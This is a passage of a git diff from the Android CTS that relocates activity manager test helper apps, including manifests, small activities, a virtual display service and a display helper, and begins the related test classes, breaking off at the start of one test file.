+public class DebuggableAppActivity extends Activity {
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk b/tests/framework/base/activitymanager/appDisplaySize/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk
rename to tests/framework/base/activitymanager/appDisplaySize/Android.mk
diff --git a/tests/framework/base/activitymanager/appDisplaySize/AndroidManifest.xml b/tests/framework/base/activitymanager/appDisplaySize/AndroidManifest.xml
new file mode 100644
index 0000000..a3bef31
--- /dev/null
+++ b/tests/framework/base/activitymanager/appDisplaySize/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+     Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.server.am.displaysize">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+
+    <!-- Set a ridiculously high value for required smallest width. Hopefully
+         we never have to run CTS on Times Square display. -->
+    <supports-screens android:requiresSmallestWidthDp="100000" />
+
+    <application>
+        <activity android:name=".SmallestWidthActivity"
+                  android:exported="true" />
+    </application>
+
+</manifest>
diff --git a/tests/framework/base/activitymanager/appDisplaySize/src/android/server/displaysize/SmallestWidthActivity.java b/tests/framework/base/activitymanager/appDisplaySize/src/android/server/displaysize/SmallestWidthActivity.java
new file mode 100644
index 0000000..fc085be
--- /dev/null
+++ b/tests/framework/base/activitymanager/appDisplaySize/src/android/server/displaysize/SmallestWidthActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am.displaysize;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class SmallestWidthActivity extends Activity {
+
+    @Override
+    protected void onNewIntent(Intent intent) {
+        super.onNewIntent(intent);
+
+        final Bundle extras = intent.getExtras();
+        if (extras != null && extras.getBoolean("launch_another_activity")) {
+            Intent startIntent = new Intent();
+            startIntent.setComponent(
+                    new ComponentName("android.server.am", "android.server.am.TestActivity"));
+            startActivity(startIntent);
+        }
+    }
+}
diff --git a/tests/framework/base/activitymanager/appPrereleaseSdk/Android.mk b/tests/framework/base/activitymanager/appPrereleaseSdk/Android.mk
new file mode 100644
index 0000000..45942def
--- /dev/null
+++ b/tests/framework/base/activitymanager/appPrereleaseSdk/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_SDK_VERSION := test_current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsDevicePrereleaseSdkApp
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/framework/base/activitymanager/appPrereleaseSdk/AndroidManifest.xml b/tests/framework/base/activitymanager/appPrereleaseSdk/AndroidManifest.xml
new file mode 100644
index 0000000..76cc2b6
--- /dev/null
+++ b/tests/framework/base/activitymanager/appPrereleaseSdk/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+     Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<!-- Manually set the compileSdkVersion and codename to simulate being compiled against
+     pre-release O SDK. -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.server.am.prerelease"
+          android:compileSdkVersion="25"
+          android:compileSdkVersionCodename="O">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+
+    <application>
+        <activity android:name=".MainActivity"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+
+</manifest>
diff --git a/tests/framework/base/activitymanager/appPrereleaseSdk/src/android/server/am/prerelease/MainActivity.java b/tests/framework/base/activitymanager/appPrereleaseSdk/src/android/server/am/prerelease/MainActivity.java
new file mode 100644
index 0000000..8684faf
--- /dev/null
+++ b/tests/framework/base/activitymanager/appPrereleaseSdk/src/android/server/am/prerelease/MainActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am.prerelease;
+
+import android.app.Activity;
+
+public class MainActivity extends Activity {
+
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk b/tests/framework/base/activitymanager/appSecondUid/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk
rename to tests/framework/base/activitymanager/appSecondUid/Android.mk
diff --git a/tests/framework/base/activitymanager/appSecondUid/AndroidManifest.xml b/tests/framework/base/activitymanager/appSecondUid/AndroidManifest.xml
new file mode 100644
index 0000000..4d4e98d
--- /dev/null
+++ b/tests/framework/base/activitymanager/appSecondUid/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+     Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.server.am.second">
+
+    <application>
+        <activity
+            android:name=".SecondActivity"
+            android:resizeableActivity="true"
+            android:allowEmbedded="true"
+            android:exported="true" />
+        <activity
+            android:name=".SecondActivityNoEmbedding"
+            android:resizeableActivity="true"
+            android:allowEmbedded="false"
+            android:exported="true" />
+        <receiver
+            android:name=".LaunchBroadcastReceiver"
+            android:enabled="true"
+            android:exported="true" >
+            <intent-filter>
+                <action android:name="android.server.am.second.LAUNCH_BROADCAST_ACTION"/>
+            </intent-filter>
+        </receiver>
+    </application>
+
+</manifest>
diff --git a/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/LaunchBroadcastReceiver.java b/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/LaunchBroadcastReceiver.java
new file mode 100644
index 0000000..196be3e
--- /dev/null
+++ b/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/LaunchBroadcastReceiver.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am.second;
+
+import android.app.ActivityOptions;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+/** Broadcast receiver that can launch activities. */
+public class LaunchBroadcastReceiver extends BroadcastReceiver {
+    private static final String TAG = LaunchBroadcastReceiver.class.getSimpleName();
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        final Bundle extras = intent.getExtras();
+        final Intent newIntent = new Intent();
+
+        final String targetActivity = extras != null ? extras.getString("target_activity") : null;
+        if (targetActivity != null) {
+            String packageName = extras.getString("package_name");
+            newIntent.setComponent(new ComponentName(packageName,
+                    packageName + "." + targetActivity));
+        } else {
+            newIntent.setClass(context, SecondActivity.class);
+        }
+
+        ActivityOptions options = ActivityOptions.makeBasic();
+        int displayId = extras.getInt("display_id", -1);
+        if (displayId != -1) {
+            options.setLaunchDisplayId(displayId);
+            newIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
+        } else {
+            newIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        }
+
+        try {
+            context.startActivity(newIntent, options.toBundle());
+        } catch (SecurityException e) {
+            Log.e(TAG, "SecurityException launching activity");
+        }
+    }
+}
diff --git a/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/SecondActivity.java b/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/SecondActivity.java
new file mode 100644
index 0000000..9607ee2
--- /dev/null
+++ b/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/SecondActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am.second;
+
+import android.app.Activity;
+
+public class SecondActivity extends Activity {
+}
diff --git a/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/SecondActivityNoEmbedding.java b/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/SecondActivityNoEmbedding.java
new file mode 100644
index 0000000..9d66df1
--- /dev/null
+++ b/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/SecondActivityNoEmbedding.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts.second;
+
+import android.app.Activity;
+
+public class SecondActivityNoEmbedding extends Activity {
+}
\ No newline at end of file
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk b/tests/framework/base/activitymanager/appThirdUid/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk
rename to tests/framework/base/activitymanager/appThirdUid/Android.mk
diff --git a/tests/framework/base/activitymanager/appThirdUid/AndroidManifest.xml b/tests/framework/base/activitymanager/appThirdUid/AndroidManifest.xml
new file mode 100644
index 0000000..ddd89b0
--- /dev/null
+++ b/tests/framework/base/activitymanager/appThirdUid/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+     Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.server.am.third">
+
+    <application>
+        <activity android:name=".ThirdActivity"
+                  android:resizeableActivity="true"
+                  android:allowEmbedded="true"
+                  android:exported="true" />
+    </application>
+
+</manifest>
diff --git a/tests/framework/base/activitymanager/appThirdUid/src/android/server/am/third/ThirdActivity.java b/tests/framework/base/activitymanager/appThirdUid/src/android/server/am/third/ThirdActivity.java
new file mode 100644
index 0000000..4327d5f
--- /dev/null
+++ b/tests/framework/base/activitymanager/appThirdUid/src/android/server/am/third/ThirdActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am.third;
+
+import android.app.Activity;
+
+public class ThirdActivity extends Activity {
+}
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/Android.mk b/tests/framework/base/activitymanager/displayserviceapp/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/displayserviceapp/Android.mk
rename to tests/framework/base/activitymanager/displayserviceapp/Android.mk
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/Android.mk b/tests/framework/base/activitymanager/displayserviceapp/app/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/displayserviceapp/app/Android.mk
rename to tests/framework/base/activitymanager/displayserviceapp/app/Android.mk
diff --git a/tests/framework/base/activitymanager/displayserviceapp/app/AndroidManifest.xml b/tests/framework/base/activitymanager/displayserviceapp/app/AndroidManifest.xml
new file mode 100644
index 0000000..add9f60
--- /dev/null
+++ b/tests/framework/base/activitymanager/displayserviceapp/app/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+          package="android.server.am.displayservice">
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+    <application android:label="CtsDisplayService">
+        <service android:name=".VirtualDisplayService"
+                 android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/framework/base/activitymanager/displayserviceapp/app/src/android/server/am/displayservice/VirtualDisplayService.java b/tests/framework/base/activitymanager/displayserviceapp/app/src/android/server/am/displayservice/VirtualDisplayService.java
new file mode 100644
index 0000000..bf6b87e
--- /dev/null
+++ b/tests/framework/base/activitymanager/displayserviceapp/app/src/android/server/am/displayservice/VirtualDisplayService.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am.displayservice;
+
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PRESENTATION;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Intent;
+import android.graphics.PixelFormat;
+import android.hardware.display.DisplayManager;
+import android.hardware.display.VirtualDisplay;
+import android.media.ImageReader;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.util.Log;
+import android.view.Surface;
+
+public class VirtualDisplayService extends Service {
+    private static final String NOTIFICATION_CHANNEL_ID = "cts/VirtualDisplayService";
+    private static final String TAG = "VirtualDisplayService";
+
+    private static final int FOREGROUND_ID = 1;
+
+    private static final int DENSITY = 160;
+    private static final int HEIGHT = 480;
+    private static final int WIDTH = 800;
+
+    private ImageReader mReader;
+    private VirtualDisplay mVirtualDisplay;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+
+        NotificationManager notificationManager = getSystemService(NotificationManager.class);
+        notificationManager.createNotificationChannel(new NotificationChannel(
+            NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
+            NotificationManager.IMPORTANCE_DEFAULT));
+        Notification notif = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(android.R.drawable.ic_dialog_alert)
+                .build();
+        startForeground(FOREGROUND_ID, notif);
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        String command = intent.getStringExtra("command");
+        Log.d(TAG, "Got command: " + command);
+
+        if ("create".equals(command)) {
+            createVirtualDisplay(intent);
+        } if ("off".equals(command)) {
+            mVirtualDisplay.setSurface(null);
+        } else if ("on".equals(command)) {
+            mVirtualDisplay.setSurface(mReader.getSurface());
+        } else if ("destroy".equals(command)) {
+            destroyVirtualDisplay();
+            stopSelf();
+        }
+
+        return START_NOT_STICKY;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    private void createVirtualDisplay(Intent intent) {
+        mReader = ImageReader.newInstance(WIDTH, HEIGHT, PixelFormat.RGBA_8888, 2);
+
+        final DisplayManager displayManager = getSystemService(DisplayManager.class);
+        final String name = "CtsVirtualDisplay";
+
+        int flags = VIRTUAL_DISPLAY_FLAG_PRESENTATION | VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+        if (intent.getBooleanExtra("show_content_when_locked", false /* defaultValue */)) {
+            flags |= 1 << 5; // VIRTUAL_DISPLAY_FLAG_CAN_SHOW_WITH_INSECURE_KEYGUARD
+        }
+        mVirtualDisplay = displayManager.createVirtualDisplay(
+                name, WIDTH, HEIGHT, DENSITY, mReader.getSurface(), flags);
+    }
+
+    private void destroyVirtualDisplay() {
+        mVirtualDisplay.release();
+        mReader.close();
+    }
+}
diff --git a/tests/framework/base/activitymanager/displayserviceapp/util/Android.mk b/tests/framework/base/activitymanager/displayserviceapp/util/Android.mk
new file mode 100644
index 0000000..613888a
--- /dev/null
+++ b/tests/framework/base/activitymanager/displayserviceapp/util/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+    android-support-test
+
+LOCAL_MODULE := cts-display-service-app-util
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/framework/base/activitymanager/displayserviceapp/util/src/android/server/am/displayservice/DisplayHelper.java b/tests/framework/base/activitymanager/displayserviceapp/util/src/android/server/am/displayservice/DisplayHelper.java
new file mode 100644
index 0000000..f541770
--- /dev/null
+++ b/tests/framework/base/activitymanager/displayserviceapp/util/src/android/server/am/displayservice/DisplayHelper.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.server.am.displayservice;
+
+import static junit.framework.Assert.assertTrue;
+
+import android.support.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.io.IOException;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class DisplayHelper {
+    private static final String VIRTUAL_DISPLAY_NAME = "CtsVirtualDisplay";
+    private static final String VIRTUAL_DISPLAY_SERVICE =
+            "android.server.am.displayservice/.VirtualDisplayService";
+    private static final Pattern mDisplayDevicePattern = Pattern.compile(
+            ".*DisplayDeviceInfo\\{\"([^\"]+)\":.*, state (\\S+),.*\\}.*");
+
+    private boolean mCreated;
+
+    public DisplayHelper() {
+    }
+
+    public void createAndWaitForDisplay(boolean external, boolean requestShowWhenLocked)
+            {
+        StringBuilder command =
+                new StringBuilder("am startfgservice -n " + VIRTUAL_DISPLAY_SERVICE);
+        command.append(" --es command create");
+        if (external) {
+            command.append(" --ez external_display true");
+        }
+        if (requestShowWhenLocked) {
+            command.append(" --ez show_content_when_locked true");
+        }
+        executeShellCommand(command.toString());
+
+        waitForDisplayState(false /* default */, true /* exists */, true /* on */);
+        mCreated = true;
+    }
+
+    public void turnDisplayOff() {
+        executeShellCommand(
+                "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command off");
+        waitForDisplayState(false /* default */, true /* exists */, false /* on */);
+    }
+
+    public void turnDisplayOn() {
+        executeShellCommand(
+                "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command on");
+        waitForDisplayState(false /* default */, true /* exists */, true /* on */);
+    }
+
+    public void releaseDisplay() {
+        if (mCreated) {
+            executeShellCommand(
+                    "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command destroy");
+            waitForDisplayState(false /* default */, false /* exists */, true /* on */);
+        }
+        mCreated = false;
+    }
+
+    public static void waitForDefaultDisplayState(boolean wantOn) {
+        waitForDisplayState(true /* default */, true /* exists */, wantOn);
+    }
+
+    public static boolean getDefaultDisplayState() {
+        return getDisplayState(true);
+    }
+
+    private static void waitForDisplayState(boolean defaultDisplay, boolean wantExists, boolean wantOn) {
+        int tries = 0;
+        boolean done = false;
+        do {
+            if (tries > 0) {
+                try {
+                    Thread.sleep(500);
+                } catch (InterruptedException e) {
+                    // Oh well
+                }
+            }
+
+            Boolean state = getDisplayState(defaultDisplay);
+            done = (!wantExists && state == null)
+                    || (wantExists && state != null && state == wantOn);
+
+            tries++;
+        } while (tries < 10 && !done);
+
+        assertTrue(done);
+    }
+
+    private static Boolean getDisplayState(boolean defaultDisplay) {
+        String dump = executeShellCommand("dumpsys display");
+
+        boolean displayExists = false;
+        boolean displayOn = false;
+        for (String line : dump.split("\\n")) {
+            Matcher matcher = mDisplayDevicePattern.matcher(line);
+            if (matcher.matches()) {
+                if ((defaultDisplay && line.contains("FLAG_DEFAULT_DISPLAY"))
+                        || (!defaultDisplay && VIRTUAL_DISPLAY_NAME.equals(matcher.group(1)))) {
+                    return "ON".equals(matcher.group(2));
+                }
+            }
+        }
+        return null;
+    }
+
+    private static String executeShellCommand(String command) {
+        try {
+            return SystemUtil
+                    .runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+        } catch (IOException e) {
+            //bubble it up
+            throw new RuntimeException(e);
+        }
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityAndWindowManagerOverrideConfigTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityAndWindowManagerOverrideConfigTests.java
new file mode 100644
index 0000000..ef5d341
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityAndWindowManagerOverrideConfigTests.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static android.server.am.StateLogger.log;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import org.junit.Test;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityAndWindowManagerOverrideConfigTests
+ */
+public class ActivityAndWindowManagerOverrideConfigTests extends ActivityManagerTestBase {
+    private static final String TEST_ACTIVITY_NAME = "LogConfigurationActivity";
+
+    private class ConfigurationChangeObserver {
+        private final Pattern mConfigurationChangedPattern =
+            Pattern.compile("(.+)Configuration changed: (\\d+),(\\d+)");
+
+        private ConfigurationChangeObserver() {
+        }
+
+        private boolean findConfigurationChange(String activityName, String logSeparator)
+                throws InterruptedException {
+            int tries = 0;
+            boolean observedChange = false;
+            while (tries < 5 && !observedChange) {
+                final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
+                log("Looking at logcat");
+                for (int i = lines.length - 1; i >= 0; i--) {
+                    final String line = lines[i].trim();
+                    log(line);
+                    Matcher matcher = mConfigurationChangedPattern.matcher(line);
+                    if (matcher.matches()) {
+                        observedChange = true;
+                        break;
+                    }
+                }
+                tries++;
+                Thread.sleep(500);
+            }
+            return observedChange;
+        }
+    }
+
+    @Test
+    public void testReceiveOverrideConfigFromRelayout() throws Exception {
+        if (!supportsFreeform()) {
+            log("Device doesn't support freeform. Skipping test.");
+            return;
+        }
+
+        launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_FREEFORM);
+
+        setDeviceRotation(0);
+        String logSeparator = clearLogcat();
+        resizeActivityTask(TEST_ACTIVITY_NAME, 0, 0, 100, 100);
+        ConfigurationChangeObserver c = new ConfigurationChangeObserver();
+        final boolean reportedSizeAfterResize = c.findConfigurationChange(TEST_ACTIVITY_NAME,
+                logSeparator);
+        assertTrue("Expected to observe configuration change when resizing",
+                reportedSizeAfterResize);
+
+        logSeparator = clearLogcat();
+        setDeviceRotation(2);
+        final boolean reportedSizeAfterRotation = c.findConfigurationChange(TEST_ACTIVITY_NAME,
+                logSeparator);
+        assertFalse("Not expected to observe configuration change after flip rotation",
+                reportedSizeAfterRotation);
+    }
+}
+
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
new file mode 100644
index 0000000..4063e79
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
@@ -0,0 +1,439 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
